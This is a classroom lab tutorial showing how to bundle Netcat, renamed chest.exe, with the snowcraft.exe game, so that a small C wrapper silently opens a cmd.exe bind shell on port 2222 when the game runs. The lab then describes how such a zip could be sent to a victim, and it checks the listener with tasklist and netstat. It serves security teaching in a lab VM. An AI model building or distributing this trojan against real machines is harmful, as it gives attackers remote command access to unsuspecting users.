(Trojan Horse 1: Lesson 2)

{ How to bundle a Trojan Horse with Netcat }

• Pre-Requisite Lab
  • Trojan Horse: Lesson 1: Install a C/C++ Compiler

   

• Overview
  • This lab demonstrates how easy it is to create a very simple Trojan Horse.
  • Each Christmas my manager sends me this game called snowcraft.exe.  It is a great game in which you are throwing snowballs at the neighborhood kids.
  • Anyway, I am using snowcraft.exe as my Trojan Horse to hide a Netcat session.

• Legal Disclaimer
  • As a condition of your use of this Web site, you warrant to computersecuritystudent.com that you will not use this Web site for any purpose that is unlawful or that is prohibited by these terms, conditions, and notices.
  • In accordance with UCC § 2-316, this product is provided with "no warranties, either express or implied." The information contained is provided "as-is", with "no guarantee of merchantability."
  • In addition, this is a teaching website that does not condone malicious behavior of any kind.
  • Your are on notice, that continuing and/or using this lab outside your "own" test environment is considered malicious and is against the law.

   

1. Booting up WindowsVulerable01
   • Instructions:
     1. Start up VMware Player
     2. Select WindowsVulerable01
     3. Play Virtual Machine
   • Note:
     • For those of you that are not part of my class, WindowsVulernable01 is a Windows XP Machine.
     • Any version of Windows can be used.
   • 

    

2. WindowsVulerable01 Authentication
   • Instructions:
     1. Login as administrator
   • 

1. Start Up Internet Explorer.
   • Instructions:
     1. On WindowsVulnerable01
     2. Bring Up Internet Explorer
     3. Start --> All Programs --> Internet Explorer
   • 

1. Download Shockwave Player
   • Instructions:
     1. Go To http://get.adobe.com/shockwave/ In your WindowsVulnerable01's Internet Explorer.
     2. Click on Agree and install now.
   • Note:
     • You can skip this step if you already have Shockwave Player installed.
   • 

    

2. Information Bar
   • Instructions:
     1. Click OK
   • 

    

3. ActiveX Control
   • Instructions:
     1. Install ActiveX Control...
   • 

    

4. Internet Explorer - Security Warning
   • Instructions:
     1. Click Install
   • 

    

5. Installing Adobe Shockwave Player
   • Instructions:
     1. Do not check the "Include Norton Internet Security" checkbox.
        • Note: You will be bugged every 30 days to pay for an upgrade.
     2. Click Next
   • 

    

6. Installation Complete
   • Note:
     • You should see an Installation Complete message.
   • 

1. Download snowcraft.exe
   • Instructions:
     1. Use your WindowsVulnerable01's Internet Explorer
     2. Click Here To Download Snowcraft.exe
   • 

    

2. Save snowcraft.exe
   • Instructions:
     1. On WindowsVulnerable01
     2. Navigate to C:\tools
   • 

    

3. Create a New Folder
   • Instructions:
     1. Right Click in the white portion of the screen.
     2. Select New --> Folder
   • 

    

4. Name the New Folder
   • Instructions:
     1. Name the folder "snowcraft"
     2. Double Click on the "snowcraft" directory
   • 

    

5. Create another New Folder
   • Instructions:
     1. Right Click in the white portion of the screen.
     2. Select New --> Folder
   • 

    

6. Name the New Folder
   • Instructions:
     1. Name the folder "dir"
     2. Double Click on the "dir" directory
   • 

    

7. Save snowcraft.exe
   • Instructions:
     1. Make sure you are in C:\tools\snowcraft\dir
     2. Click the Save button
   • 

    

8. Download Complete Message
   • Instructions:
     1. Click Close
   • 

    

9. Download netcat.exe
   • Instructions:
     1. Use your WindowsVulnerable01's Internet Explorer
     2. Click Here To Download netcat.exe
   • 

    

10. Saving netcat.exe
    • Instructions:
      1. Navigate to C:\tools\snowcraft\dir
      2. Click Save
    • 

     

11. Download complete
    • Instructions:
      1. Click Open Folder
    • 

     

12. Rename netcat.exe
    • Instructions:
      1. Right Click on netcat.exe
      2. Select Rename
      3. Rename netcat.exe to chest.exe
    • 

     

13. Verify your work
    • Instructions:
      1. In C:\tools\snowcraft\dir
      2. You should have snowcraft.exe and chest.exe (f/k/a, netcat.exe)
    • 

     

1. Start up your CodeBlocks IDE
   • Instructions:
     1. Start --> All Programs --> CodeBlocks --> CodeBlocks
   • 

    

2. Create an Empty File
   • Instructions: 
     1. File --> New --> Empty file
   • 

    

3. Save Empty File
   • Instructions:
     1. File --> Save file as...
   • 

    

4. Save file
   • Instructions:
     1. Navigate to C:\tools\snowcraft
     2. Name the file "snowcraft"
     3. Click Save
   • 

    

5. Cut and Paste Code into the CodeBlocks IDE
   • Instructions:
     1. Highlight the below code
     2. Right Click --> Copy
     3. Paste into the CodeBlock Window (See Below)
   • Code:
     • #include <stdio.h>
       #include <stdlib.h>
       
       int main ()
       {
           system("start /B dir\\chest.exe -d -L -p 2222 -e cmd.exe");
           system("dir\\snowcraft.exe");
       
           //return 0;
       }
   • 

    

6. Save snowcraft.cpp
   • Instructions:
     1. File --> Save File
   • 

    

7. Compile current file
   • Instructions:
     1. Build --> Compile Current file
   • Note:
     • In the Build log tab, you will see a Build log message.
     • If there are not errors, you will see a message similar to below, saying you have 0 errors.
     • If you received any errors, then you cannot continue to the next step.
   • 

    

8. Build and run
   • Instructions:
     1. Build --> Build and run
   • 

    

9. Build and Run Results
   • Instructions:
     1. You should see that Snowcraft was kicked off
     2. Play the game if you want.
     3. When you get bored continue to the next step.
   • 

    

10. Bring up task manager
    • Instructions:
      1. Right click on bottom task bar
      2. Select Task Manager
    • 

     

11. View Task Manager Processes
    • Note:
      1. Notice chest.exe (f/k/a netcat.exe) running
      2. Then are Trojan Horse, snowcraft.exe is running.
    • 

     

12. Open a Command Prompt
    • Instruction:
      1. Start --> All Programs --> Accessories --> Command Prompt
    • 

     

13. Let's investigate chest.exe process
    • Instruction:
      1. tasklist | findstr chest
         • tasklist is the command line equivalent to Windows Task Monitor.
         • findstr is like the uniq grep command, where we are searching for chest.
         • NOTE: In my case, the PID that was returned was 1212.  In your case, it will be different.
      2. netstat -nao | findstr 1212
         • netstat is being used to show all network connections.
         • Then findstr search for the chest.exe PID of 1212.
         • NOTE: There is a TCP port listening on 2222.
    • 

1. Close out the following applications
   • Instructions:
     1. Close the CodeBlocks IDE
     2. Close SnowCraft
   • 

    

2. Close out the following applications
   • Instructions:
     1. Start --> My Computer
     2. Navigate to C:\tools\snowcraft
     3. Delete snowcraft.cpp
     4. Delete snowcraft.o
   • 

    

3. Zip up the snowcraft folder
   • Instructions:
     1. Navigate to C:\tools
     2. Right Click on the snowcraft folder
     3. Send To --> Compressed (zipped) folder
   • 

    

4. Congratulations
   • Note:
     1. You should see a new file called snowcraft.zip.
     2. A malicious person might place this zipped file on their website, and send an email with a web link to the victim.
     3. Once the victim, clicks on the link, their IP address is stored in a web log.
     4. Then the attacker could possibly attach to that victim's IP address at port 2222.
     5. Pretty Scary Stuff!!!
   • 

1. Open a Command Prompt
   • Instruction:
     1. Start --> All Programs --> Accessories --> Command Prompt
   • 

    

2. Let's investigate chest.exe process
   • Instruction:
     1. tasklist | findstr chest
     2. netstat -nao | findstr 1212
     3. date
     4. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • E.g., echo "John Gray"
   • Instruction:
     1. Do a PrtScn
     2. Paste into a word document
     3. Upload to Moodle.
   • 
3.